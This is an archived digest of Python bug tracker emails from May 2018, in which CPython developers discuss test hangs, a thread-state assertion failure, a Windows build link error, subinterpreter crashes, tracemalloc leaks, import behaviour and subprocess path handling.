Date: Wed, 23 May 2018 10:32:18 +0000 Subject: [issue33613] test_multiprocessing_fork: test_semaphore_tracker_sigint() fails with -W error In-Reply-To: <1527069849.43.0.682650639539.issue33613@psf.upfronthosting.co.za> Message-ID: <1527071538.49.0.682650639539.issue33613@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also some information about this in issue31463. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:36:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 10:36:34 +0000 Subject: [issue33330] Better error handling in PyImport_Cleanup() In-Reply-To: <1524387390.7.0.682650639539.issue33330@psf.upfronthosting.co.za> Message-ID: <1527071794.64.0.682650639539.issue33330@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: See also issue33379 about the bug in subinterpreters exposed when add yet one PyErr_WriteUnraisable() in PyImport_Cleanup() (it was not added because of this). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:37:18 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 10:37:18 +0000 Subject: [issue31463] test_multiprocessing_fork hangs test_subprocess In-Reply-To: <1505370960.72.0.0292264137903.issue31463@psf.upfronthosting.co.za> Message-ID: <1527071838.96.0.682650639539.issue31463@psf.upfronthosting.co.za> STINNER Victor added the comment: > It looks like test_multiprocessing_fork doesn't clean up some of its subprocesses and then test_subprocess hangs on waitpid(0) forever. Oh strange. This issue was supposed to be fixed. I spent a lot of time to fix such bug, but also make sure that not test leak any child process. "test_subprocess hangs on waitpid(0) forever" I recall a similar bug that I fixed recently. I spent time on test.support.reap_children() and test.support.threading_cleanup() to make sure that tests don't leak threads no child processes. It seems like I missed some tests. In Lib/test/libregrtest/runtest.py, I added: def post_test_cleanup(): support.reap_children() which is run after each test. But currently, support.reap_children() calls os.waitpid(-1, os.WNOHANG) to check for child processes which already completed. It doesn't warn if there are child processes which are still running. During my tests, I modified reap_children() to add a sleep(1). Maybe on Linux we could use a cgroup to really check for all child processes? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 06:42:32 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Wed, 23 May 2018 10:42:32 +0000 Subject: =?utf-8?q?=5Bissue33514=5D_async_and_await_as_keywords_not_mentioned_in_W?= =?utf-8?q?hat=E2=80=99s_New_In_Python_3=2E7?= In-Reply-To: <1526376462.69.0.682650639539.issue33514@psf.upfronthosting.co.za> Message-ID: <1527072152.83.0.682650639539.issue33514@psf.upfronthosting.co.za> Miro Hron?ok added the comment: This was fixed via issue32996 ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:18:29 2018 From: report at bugs.python.org (GranPrego) Date: Wed, 23 May 2018 11:18:29 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released [Windows] In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527074309.13.0.682650639539.issue33603@psf.upfronthosting.co.za> GranPrego added the comment: I'm now pretty convinced that sounddevice 0.3.11 library is the culprit, which may in turn point to the portaudio library, or CFFI. I make a call to sd.play() just before calling subprocess to run the dos cmd, the timing was such that process explorer would make it look like the leak was occurring during the subprocess call, but isolating the sd.play shows that it causing the two additional Thread handles to be created and never released until the script ends (which could be 1-48 hours or more) Another section of the code was using sd._terminate() and sd._initialize() to work around a buffersize problem with sounddevice and these calls also leak thread handles. I've cut the program down as much as possible and the following now shows the problem without the call to subprocess. You'll need to change the sd.default.device to an appropriate sound card. Thanks for the quick responses. If you're happy that this is the correct analysis of issue then perhaps it could be reclassified as a different component or I can get in touch with the sounddevice author. Regards, Joe ---------- Added file: https://bugs.python.org/file47613/soundeviceLeaker.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:27:45 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 11:27:45 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527074865.38.0.682650639539.issue33612@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The assertion looked good to me when I reviewed this code, and I don't understand why it fails. Maybe it would be better to fix the case in which tstate->exc_info->previous_item != NULL before calling PyThreadState_Clear(). Otherwise we can leak some things. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:31:04 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 11:31:04 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527075064.38.0.682650639539.issue33612@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Yes, simply removing the assertion feels more like a copout than an actual fix. (perhaps it *is* the right fix to the issue, but it would be nice to find out why :-)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:56:16 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 23 May 2018 11:56:16 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released [Windows] In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527076576.22.0.682650639539.issue33603@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: FYI, there's psutil.Process().num_handles() which you can use to count handles before and after subprocess invocation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:57:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 11:57:11 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527076631.43.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: > Yes, simply removing the assertion feels more like a copout than an actual fix. We are very close to the 3.7rc1, so I suggest to remove the assertion, just to get more time to fix the issue. -- I agree that in a perfect world, Python should cleanup everything properly, but in the current world, daemon threads and fork are a mess full of corner cases like this one. Python doesn't join daemonic threads at shutdown, so I don't see how Python could ensure that the state of the Python state of these daemonic threads is consistent (ready to be cleared). For fork, it seems like the issue is similar. A fork removes immediately all threads except of the thread which called fork. How would it be possible for Python to ensure that the Python state of the other destroyed threads is consistent? tstate->exc_info is a new feature of Python 3.7, to fix bpo-25612. But I don't think that Python 3.6 is better to cleanup daemon threads at shutdown or to cleanup threads on fork. If you run the attached bug.py with python3.6 -v bug.py, I also see warnings: PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a frame PyThreadState_Clear: warning: thread still has a frame ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 07:59:49 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 11:59:49 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527076631.43.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <7263886f-eb27-0e31-2b4f-a2072085ab81@free.fr> Antoine Pitrou added the comment: Le 23/05/2018 ? 13:57, STINNER Victor a ?crit?: > > I agree that in a perfect world, Python should cleanup everything properly, but in the current world, daemon threads and fork are a mess full of corner cases like this one. For now, we don't know for sure that it's a cleanup issue. What if it's something else? I agree that, if it's simply a cleanup issue with daemon threads, we can remove the assertion. But perhaps we should first diagnose the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:06:30 2018 From: report at bugs.python.org (Rolf Campbell) Date: Wed, 23 May 2018 12:06:30 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1527077190.12.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: OK, while I understand what you are saying, that is NOT how absolute imports work. I'll give an example: ./main.py:import func ./main.py:print(f"Value of func.func after import func:{func.func}") ./main.py:import func.func ./main.py:print(f"Value of func.func after import func.func:{func.func}") ./func/__init__.py:func = 1 ./func/__init__.py:from . import func ./func/__init__.py:print(f"Value of func after from . import func:{func}") ./func/func.py:print("Module imported") Here, the relative import inside __init__.py does NOT load the "func.py" module because there is already an object called "func". But, the absolute "import func.func" does load "func.py" even though there is already a "func.func" object. Are these supposed to work differently? That seems strange to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:08:06 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 12:08:06 +0000 Subject: [issue27485] urllib.splitport -- is it official or not? In-Reply-To: <1468260123.51.0.000787877209911.issue27485@psf.upfronthosting.co.za> Message-ID: <1527077286.78.0.682650639539.issue27485@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch pull_requests: +6699 stage: resolved -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:11:26 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 12:11:26 +0000 Subject: [issue27485] urllib.splitport -- is it official or not? In-Reply-To: <1468260123.51.0.000787877209911.issue27485@psf.upfronthosting.co.za> Message-ID: <1527077486.28.0.682650639539.issue27485@psf.upfronthosting.co.za> Cheryl Sabella added the comment: Serhiy, Thanks for finding this. I've submitted a PR to fix the tests. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:20:55 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 12:20:55 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x Message-ID: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/80/builds/244 (Link target) -> python3_d.def : error LNK2001: unresolved external symbol PyImport_GetModule [D:\buildarea\3.x.ware-win81-release.refleak\build\PCbuild\python3dll.vcxproj] python3_d.def : error LNK2001: unresolved external symbol Py_UTF8Mode [D:\buildarea\3.x.ware-win81-release.refleak\build\PCbuild\python3dll.vcxproj] D:\buildarea\3.x.ware-win81-release.refleak\build\PCbuild\amd64\python3_d.lib : fatal error LNK1120: 2 unresolved externals [D:\buildarea\3.x.ware-win81-release.refleak\build\PCbuild\python3dll.vcxproj] Maybe it's related to this recent change: commit 4e29f566e8821c09d8274eadcdd355e8b1284b8b Author: Serhiy Storchaka Date: Tue May 22 20:59:42 2018 +0300 Add missed details of the C API introduced in 3.7. (GH-7047) * Set the limited API version for PyImport_GetModule and PyOS_*Fork functions. * Add PyImport_GetModule and Py_UTF8Mode in PC/python3.def. * Add several functions in Doc/data/refcounts.dat. The two missing symbols are defined by: #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03070000 PyAPI_FUNC(PyObject *) PyImport_GetModule(PyObject *name); #endif and #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03070000 PyAPI_DATA(int) Py_UTF8Mode; #endif They are not part of the stable ABI. ---------- messages: 317392 nosy: vstinner priority: normal severity: normal status: open title: Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:21:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 12:21:12 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527078072.6.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- components: +Build, Windows nosy: +paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:21:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 12:21:17 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527078077.08.0.682650639539.issue33614@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:22:44 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 12:22:44 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527078164.17.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: Alexander Mohr: Thanks, I can reproduce. I found ResourceWarning is happened when head_object. re may be used for filtering warning. You can use `-W always` to see the warnings. I don't know why the leak happened yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:25:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 12:25:16 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x Message-ID: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/1/builds/232 (...) 3:28:16 load avg: 3.67 [401/416/3] test__xxsubinterpreters crashed (Exit code -6) -- running: test_asyncio (4631 sec) python: Modules/gcmodule.c:277: visit_decref: Assertion `_PyGCHead_REFS(gc) != 0' failed. Fatal Python error: Aborted Current thread 0xb748a700 (most recent call first): File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/case.py", line 615 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/case.py", line 663 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/support/__init__.py", line 1781 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/support/__init__.py", line 1882 in _run_suite File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/support/__init__.py", line 1972 in run_unittest File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 175 in test_runner File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 176 in runtest_inner File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 140 in runtest File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest_mp.py", line 67 in run_tests_slave File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 517 in _main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 510 in main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 585 in main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/regrtest.py", line 46 in _main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/regrtest.py", line 50 in File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/runpy.py", line 85 in _run_code File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/runpy.py", line 193 in _run_module_as_main (...) Re-running test 'test__xxsubinterpreters' in verbose mode (...) test_recv_not_found (test.test__xxsubinterpreters.ChannelTests) ... ok test_run_string_arg_resolved (test.test__xxsubinterpreters.ChannelTests) ... python: Modules/gcmodule.c:277: visit_decref: Assertion `_PyGCHead_REFS(gc) != 0' failed. Fatal Python error: Aborted Current thread 0xb74b9700 (most recent call first): File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/case.py", line 615 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/case.py", line 663 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 122 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/suite.py", line 84 in __call__ File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/unittest/runner.py", line 176 in run File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/support/__init__.py", line 1882 in _run_suite File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/support/__init__.py", line 1972 in run_unittest File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 175 in test_runner File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 176 in runtest_inner File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/runtest.py", line 140 in runtest File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 291 in rerun_failed_tests File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 540 in _main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 510 in main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/libregrtest/main.py", line 585 in main File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/test/__main__.py", line 2 in File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/runpy.py", line 85 in _run_code File "/buildbot/buildarea/3.x.ware-gentoo-x86.refleak/build/Lib/runpy.py", line 193 in _run_module_as_main ---------- components: Interpreter Core, Tests messages: 317394 nosy: eric.snow, vstinner priority: normal severity: normal status: open title: test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:33:08 2018 From: report at bugs.python.org (Sebastian Rittau) Date: Wed, 23 May 2018 12:33:08 +0000 Subject: [issue33616] typing.NoReturn is undocumented Message-ID: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> New submission from Sebastian Rittau : This exists at least in Python 3.6.5's typing module. https://github.com/python/typing/issues/165 has background on why it was added. ---------- assignee: docs at python components: Documentation messages: 317395 nosy: docs at python, srittau priority: normal severity: normal status: open title: typing.NoReturn is undocumented versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:33:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 12:33:43 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527078823.64.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: > Thanks, I can reproduce. Are you testing the master branch? I fixed a memory leak in the _warnings module for ignored ResourceWarning warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:45:08 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 12:45:08 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527079508.07.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: I confirmed the leak on 3.6.5, and I can't reproduce it on 3.7.0b4. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:49:53 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 12:49:53 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527079793.4.0.682650639539.issue33614@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: My bad, I didn't test that change on Windows myself, and CI seems was broken at that moment. But I have no ideas why the build is failed. These names are part of stable ABI since version 3.7. I don't see any difference between PyImport_GetModule and say PyInterpreterState_GetID. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:52:53 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 12:52:53 +0000 Subject: [issue31463] test_multiprocessing_fork hangs test_subprocess In-Reply-To: <1505370960.72.0.0292264137903.issue31463@psf.upfronthosting.co.za> Message-ID: <1527079973.82.0.682650639539.issue31463@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Let's take another look at the issue: why does test_subprocess need to know about all child processes, rather than those that were launched during test_subprocess? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:55:23 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 12:55:23 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527080123.7.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: Hmm, GH-4587 is merged in 3.6 branch in last November, but 3.6.5 doesn't include it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 08:56:33 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 23 May 2018 12:56:33 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527080193.79.0.682650639539.issue33565@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: -pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:00:37 2018 From: report at bugs.python.org (INADA Naoki) Date: Wed, 23 May 2018 13:00:37 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527080437.36.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: I was wrong. It is not merged into 3.6 branch. The pull request is just closed. Now nothing strange in tracemalloc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:05:05 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 23 May 2018 13:05:05 +0000 Subject: [issue32710] test_asyncio leaked [4, 4, 3] memory blocks, sum=11 on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1517229818.86.0.467229070634.issue32710@psf.upfronthosting.co.za> Message-ID: <1527080705.56.0.682650639539.issue32710@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:06:27 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Wed, 23 May 2018 13:06:27 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527080787.97.0.682650639539.issue32622@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:06:40 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 23 May 2018 13:06:40 +0000 Subject: [issue23188] Provide a C helper function to chain raised (but not yet caught) exceptions In-Reply-To: <1420687041.12.0.12728944273.issue23188@psf.upfronthosting.co.za> Message-ID: <1527080800.59.0.682650639539.issue23188@psf.upfronthosting.co.za> Nick Coghlan added the comment: Also see https://github.com/python/cpython/blob/55edd0c185ad2d895b5d73e47d67049bc156b654/Objects/exceptions.c#L2713 for the version we use in a few places to implicitly update the exception message, while keeping the exception type and state the same (and giving up and letting the exception through unchained if we can't work out how to do that in a reliable way). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:13:52 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 23 May 2018 13:13:52 +0000 Subject: [issue33607] [subinterpreters] Explicitly track object ownership (and allocator). In-Reply-To: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> Message-ID: <1527081232.47.0.682650639539.issue33607@psf.upfronthosting.co.za> Nick Coghlan added the comment: Rather than tracking this per object, you could potentially track it per arena at the memory allocator level instead. Then if you really need the info (e.g. when running the debug allocator), you can check it in a reliable way, but in the normal case, you assume the associations are being managed correctly and avoid any significant bookkeeping overhead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:17:57 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 23 May 2018 13:17:57 +0000 Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> Message-ID: <1527081477.65.0.682650639539.issue33608@psf.upfronthosting.co.za> Nick Coghlan added the comment: Adding a low level callback based mechanism to ask another interpreter to do work seems like a good way to go to me. As an example of why that might be needed, consider the case of sharing a buffer exporting object with another subinterpreter: when the memoryview in the subinterpreter is destroyed, it needs to request that the buffer view be released in the source interpreter that actually owns the original object. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:26:56 2018 From: report at bugs.python.org (Nick Coghlan) Date: Wed, 23 May 2018 13:26:56 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1527082016.51.0.682650639539.issue33547@psf.upfronthosting.co.za> Nick Coghlan added the comment: Yes, while weird, that's expected behaviour. Rather than being due to absolute vs relative imports, the difference arises from the fact that in "import pkg.module", the request is explicitly for a submodule, so the submodule import always happens, whereas if you write "from func import attr", the child module import is only attempted if "func.attr" fails to resolve after "func" is imported. $ echo "print(__name__)" > pkg/__init__.py $ echo "print(__name__)" > pkg/submodule.py $ python3 -c "import pkg; pkg.submodule = 1; import pkg.submodule; print(pkg.submodule)" pkg pkg.submodule $ python3 -c "import pkg; pkg.submodule = 1; from pkg import submodule; print(pkg.submodule)" pkg 1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:53:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 13:53:38 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527083618.22.0.682650639539.issue33614@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It succeeds after removing directories amd64 and obj in PCbuild. Seems they are left from old builds and the clean up script did nor remove them. This may be a cause of other weird bugs on Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 09:55:30 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 13:55:30 +0000 Subject: [issue30437] SSL_shutdown needs SSL_read() until SSL_ERROR_ZERO_RETURN In-Reply-To: <1495511053.18.0.843263784452.issue30437@psf.upfronthosting.co.za> Message-ID: <1527083730.9.0.682650639539.issue30437@psf.upfronthosting.co.za> Christian Heimes added the comment: The session ticket issue in TLS 1.3 handshake will be fixed by upstream patch https://github.com/openssl/openssl/pull/6340. We still need to drain the SSL socket to remove pending application data before the second SSL_shutdown() call, but it's no longer critical to get basic TLS 1.3 support working. Ned, I'm downgrading this issue from blocker to high. ---------- priority: deferred blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:14:04 2018 From: report at bugs.python.org (Kyle Altendorf) Date: Wed, 23 May 2018 14:14:04 +0000 Subject: [issue33617] subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows Message-ID: <1527084844.2.0.682650639539.issue33617@psf.upfronthosting.co.za> New submission from Kyle Altendorf : PS C:\Users\FSTAB\Desktop\g\20\grid-tied> py -3.6 -c "import os, pathlib, subprocess; subprocess.run([pathlib.Path()])" Traceback (most recent call last): File "", line 1, in File "C:\Program Files\Python36\lib\subprocess.py", line 403, in run with Popen(*popenargs, **kwargs) as process: File "C:\Program Files\Python36\lib\subprocess.py", line 707, in __init__ restore_signals, start_new_session) File "C:\Program Files\Python36\lib\subprocess.py", line 964, in _execute_child args = list2cmdline(args) File "C:\Program Files\Python36\lib\subprocess.py", line 461, in list2cmdline needquote = (" " in arg) or ("\t" in arg) or not arg TypeError: argument of type 'WindowsPath' is not iterable PR to follow soon. ---------- messages: 317408 nosy: altendky priority: normal severity: normal status: open title: subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:16:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 14:16:13 +0000 